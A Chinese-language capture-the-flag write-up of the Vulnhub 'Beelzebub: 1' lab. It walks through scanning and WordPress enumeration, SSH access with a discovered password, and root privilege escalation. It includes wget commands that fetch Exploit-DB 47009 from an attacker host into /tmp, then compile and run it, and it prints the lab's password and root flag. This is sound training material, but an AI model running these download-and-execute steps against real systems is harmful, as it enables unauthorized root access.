Vulnhub之Beelzebub 1靶机详细解题过程（该靶机网络连接很不稳定）
Beelzebub 1
作者: jason_huawen
靶机基本信息
名称：Beelzebub: 1
地址：
https://www.vulnhub.com/entry/beelzebub-1,742/
提示：You have to enumerate as much as you can and don't forget about the Base64.
识别目标主机IP地址
──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ sudo netdiscover -i eth1
Currently scanning: 192.168.60.0/16 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:0a 1 60 Unknown vendor
192.168.56.100 08:00:27:8c:89:2c 1 60 PCS Systemtechnik GmbH
192.168.56.244 08:00:27:9f:89:8a 1 60 PCS Systemtechnik GmbH
利用Kali Linux自带的netdiscover工具识别目标主机的IP地址为192.168.56.244
NMAP扫描
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.244 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-30 20:58 EST
Nmap scan report for bogon (192.168.56.244)
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 20:d1:ed:84:cc:68:a5:a7:86:f0:da:b8:92:3f:d9:67 (RSA)
| 256 78:89:b3:a2:75:12:76:92:2a:f9:8d:27:c1:08:a7:b9 (ECDSA)
|_ 256 b8:f4:d6:61:cf:16:90:c5:07:18:99:b0:7c:70:fd:c0 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:9F:89:8A (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.12 seconds
利用NMAP工具对目标主机进行全端口扫描，扫描结果表明目标主机有2个开放端口22（SSH）、80（HTTP）
获得Shell
目标主机OpenSSH 版本为7.6p1没有可利用的版本。接下来分析80端口：
Kali Linux上利用浏览器访问80端口，返回apache2的默认页面，查看页面源代码没有特别的发现。
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ curl http://192.168.56.244/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 192.168.56.244 Port 80</address>
</body></html>
目标站点不存在robots.txt文件。接下来进行目录扫描：
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ gobuster dir -u http://192.168.56.244 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.244
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2022/11/30 21:04:34 Starting gobuster in directory enumeration mode
===============================================================
/javascript (Status: 301) [Size: 321] [--> http://192.168.56.244/javascript/]
/phpmyadmin (Status: 301) [Size: 321] [--> http://192.168.56.244/phpmyadmin/]
/server-status (Status: 403) [Size: 279]
Progress: 218362 / 220561 (99.00%)===============================================================
2022/11/30 21:04:59 Finished
gobuster工具扫描出来/javascript、/phpmyadmin目录。
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ gobuster dir -u http://192.168.56.244/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.sh,.html
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.244/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: sh,html,php,txt
[+] Timeout: 10s
===============================================================
2022/11/30 21:42:56 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 279]
/index.php (Status: 200) [Size: 271]
/.html (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 10918]
/javascript (Status: 301) [Size: 321] [--> http://192.168.56.244/javascript/]
/phpmyadmin (Status: 301) [Size: 321] [--> http://192.168.56.244/phpmyadmin/]
/.php (Status: 403) [Size: 279]
/.html (Status: 403) [Size: 279]
/phpinfo.php (Status: 200) [Size: 95436]
/server-status (Status: 403) [Size: 279]
Progress: 1097193 / 1102805 (99.49%)===============================================================
2022/11/30 21:44:07 Finished
===============================================================
发现了/index.php,仔细看其页面源代码：
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<!--My heart was encrypted, "beelzebub" somehow hacked and decoded it.-md5-->
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.30 (Ubuntu)</address>
</body></html>
作者提示md5，因此需要将beelzebub进行md5加密：
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ echo -n 'beelzebub' | md5sum
d18e1e22becbd915b45e0e655429d487 -
注意这里需要加上-n 参数，否则计算出来的Md5值不正确
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ man echo | grep -e '-n'
-n do not output the trailing newline
将该值作为目录继续扫描：
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ gobuster dir -u http://192.168.56.244/d18e1e22becbd915b45e0e655429d487 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.244/d18e1e22becbd915b45e0e655429d487
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2022/11/30 22:04:30 Starting gobuster in directory enumeration mode
===============================================================
/wp-content (Status: 301) [Size: 354] [--> http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/wp-content/]
/wp-includes (Status: 301) [Size: 355] [--> http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/wp-includes/]
/wp-admin (Status: 301) [Size: 352] [--> http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/wp-admin/]
Progress: 218664 / 220561 (99.14%)===============================================================
2022/11/30 22:04:44 Finished
===============================================================
此时扫描出wordpress目录，接下来看可否用wpscan扫描出用户名或者插件。
但是报一下错误：
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ wpscan --url http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/ -e u,p
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
Scan Aborted: The URL supplied redirects to http://192.168.1.6/d18e1e22becbd915b45e0e655429d487/. Use the --ignore-main-redirect option to ignore the redirection and scan the target, or change the --url option value to the redirected URL.
会被重定向到192.168.1.6，很奇怪需要加上参数。而且网络还不通了，需要重启靶机：
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ wpscan --url http://192.168.56.244/d18e1e22becbd915b45e0e655429d487 -e --plugins-detection aggressive --ignore-main-redirect --force
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]
[+] URL: http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/ [192.168.56.244]
[+] Started: Wed Nov 30 22:21:55 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.29 (Ubuntu)
| - X-Redirect-By: WordPress
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.3.6 identified (Insecure, released on 2020-10-30).
| Found By: Atom Generator (Aggressive Detection)
| - http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/index.php/feed/atom/, <generator uri="https://wordpress.org/" version="5.3.6">WordPress</generator>
| Confirmed By: Style Etag (Aggressive Detection)
| - http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/wp-admin/load-styles.php, Match: '5.3.6'
[i] The main theme could not be detected.
[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
Checking Known Locations - Time: 00:00:34 <===========================================> (4989 / 4989) 100.00% Time: 00:00:34
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:00 <=============================================> (479 / 479) 100.00% Time: 00:00:00
[i] No themes Found.
[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:01 <===========================================> (2568 / 2568) 100.00% Time: 00:00:01
[i] No Timthumbs Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <==============================================> (137 / 137) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:00 <====================================================> (71 / 71) 100.00% Time: 00:00:00
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:00 <=========================================> (100 / 100) 100.00% Time: 00:00:00
[i] Medias(s) Identified:
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=38
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=39
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=42
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=44
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=48
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=49
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=51
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=74
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=75
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=77
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=99
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/?attachment_id=96
| Found By: Attachment Brute Forcing (Aggressive Detection)
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===============================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] krampus
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] valak
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Wed Nov 30 22:23:07 2022
[+] Requests Done: 8400
[+] Cached Requests: 9
[+] Data Sent: 2.778 MB
[+] Data Received: 1.289 MB
[+] Memory used: 257.109 MB
[+] Elapsed time: 00:01:11
这个靶机应该会检测，如果有暴力扫描或则破解，就会断开网络连接。
不过已经扫描出来两个用户:
krampus
valak
此时靶机的网络连接已经断开，需要重启。
接下来检查一下/wp-content/uploads/有无相关文件，发现了一个奇怪的目录：Talk_To_VALAK.
http://192.168.56.244/d18e1e22becbd915b45e0e655429d487/wp-content/uploads/Talk%20To%20VALAK/
进入该目录，是另一个网站：
输入任意一个名字，返回的reponse中含有密码，这会不是上面扫描出来的两个用户的密码：
M4k3Ad3a1
尝试登录
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ ssh krampus@192.168.56.244
The authenticity of host '192.168.56.244 (192.168.56.244)' can't be established.
ED25519 key fingerprint is SHA256:z1Xg/pSBrK8rLIMLyeb0L7CS1YL4g7BgCK95moiAYhQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.244' (ED25519) to the list of known hosts.
krampus@192.168.56.244's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-53-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
294 packages can be updated.
178 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Your Hardware Enablement Stack (HWE) is supported until April 2023.
Last login: Sat Mar 20 00:38:04 2021 from 192.168.1.7
krampus@beelzebub:~$ id
uid=1000(krampus) gid=1000(krampus) groups=1000(krampus),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare)
krampus@beelzebub:~$
发现可以成功登录krampus用户。
提权
krampus@beelzebub:~$ cat .Serv-U-Tray.conf
Theme Number0krampus@beelzebub:~$ -U Tray\Themes
krampus@beelzebub:~$ cat .bash_history
mysql -u root -p
clear
su root
clear
lks
ls
clear
nano /etc/host
nano /etc/hosts
su root
su root
rm -rf sudo-1.9.6p1 sudo-1.9.6p1.tar.gz wordpress-5.3.2.zip
su root
clear
exit
chmod 0750 html/
ifconfig
cd /var/lib/mysql/
clear
ls
cd wordpress/
sudo su
su root
clear
ls
cd Desktop/
clear
ls
cat user.txt
clear
uname -a
sudo -1
sudo -i
clear
uname -a
sudo -i
find / -prem -u=s -type f 2>/dev/null
find / -prem -u=s -type f 2>/dev/null
cat /etc/issue
sudo -l
cd
cd ../
cd ../../../../
clear
find / -prem -u=s -type f 2>/dev/null
cd /usr/local/Serv-U/
ls
cd
clear
ps -aux
ps -a
ps -a -U root
ps -a -U root | grep 'Serv'
ps -U root -au
ps -U root -au | sort -u
clear
cd /tmp/
clear
find / -prem -u=s -type f 2>/dev/null
find / -perm -u=s -type f
2>/dev/null
clear
wget https://www.exploit-db.com/download/47009
clear
ls
clear
mv 47009 ./exploit.c
gcc exploit.c -o exploit
./exploit
cd ../../../../../../../
ls
cd cd
cd
grep -r 'beelzebub'
grep -r 'love'
cd .local/share
clear
ls
cd Trash/
ls
cat info
cd info
ls
ls -la
cd ../
clear
cd ../
ls
rm -rf Trash/
clear
su root
history -R
history -r
mysql -u root -p
clear
su root
clear
lks
ls
clear
nano /etc/host
nano /etc/hosts
su root
su root
rm -rf sudo-1.9.6p1 sudo-1.9.6p1.tar.gz wordpress-5.3.2.zip
su root
clear
exit
history
clear
cd
clear
ip link
su root
clear
ls
history
clear
ls
cd /tmp/
ls
su root
exit
clear
从bash_history可以知道目标运行servU,并且在历史记录中找到了漏洞利用代码的位置：
wget https://www.exploit-db.com/download/47009
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ mv ~/Downloads/47009.c .
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$ ls
47009.c nmap_full_scan
┌──(kali㉿kali)-[~/Vulnhub/Beezlebub]
└─$
将其上传到目标主机的/tmp目录，进行编译，不过此时网络连接又断了（其实没做任何爆破的动作，只能重启靶机，哈哈）
krampus@beelzebub:~$ cd /tmp
krampus@beelzebub:/tmp$ wget http://192.168.56.206:8000/47009.c
--2022-12-01 09:14:04-- http://192.168.56.206:8000/47009.c
Connecting to 192.168.56.206:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 619 [text/x-csrc]
Saving to: ‘47009.c’
47009.c 100%[=====================================================>] 619 --.-KB/s in 0s
2022-12-01 09:14:04 (148 MB/s) - ‘47009.c’ saved [619/619]
krampus@beelzebub:/tmp$ gcc -o exploit 47009.c
krampus@beelzebub:/tmp$ ./exploit
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),116(lpadmin),126(sambashare),1000(krampus)
opening root shell
# cd /root
# ls
root.txt
# cat root.txt
8955qpasq8qq807879p75e1rr24cr1a5
#
经验教训
-
在目录文件扫描时扫描出来了/index.php，但是咋一看是404 not found,就没在意，其实返回的响应中含有重要的提示，如果不能看到这个提示，这个靶机是无法完成的。
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本靶机网络连接很不稳定，需要多次重启
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注意wpscan有时需要加上参数，避免其自动进行重定向
STRIVE FOR PROGRESS,NOT FOR PERFECTION
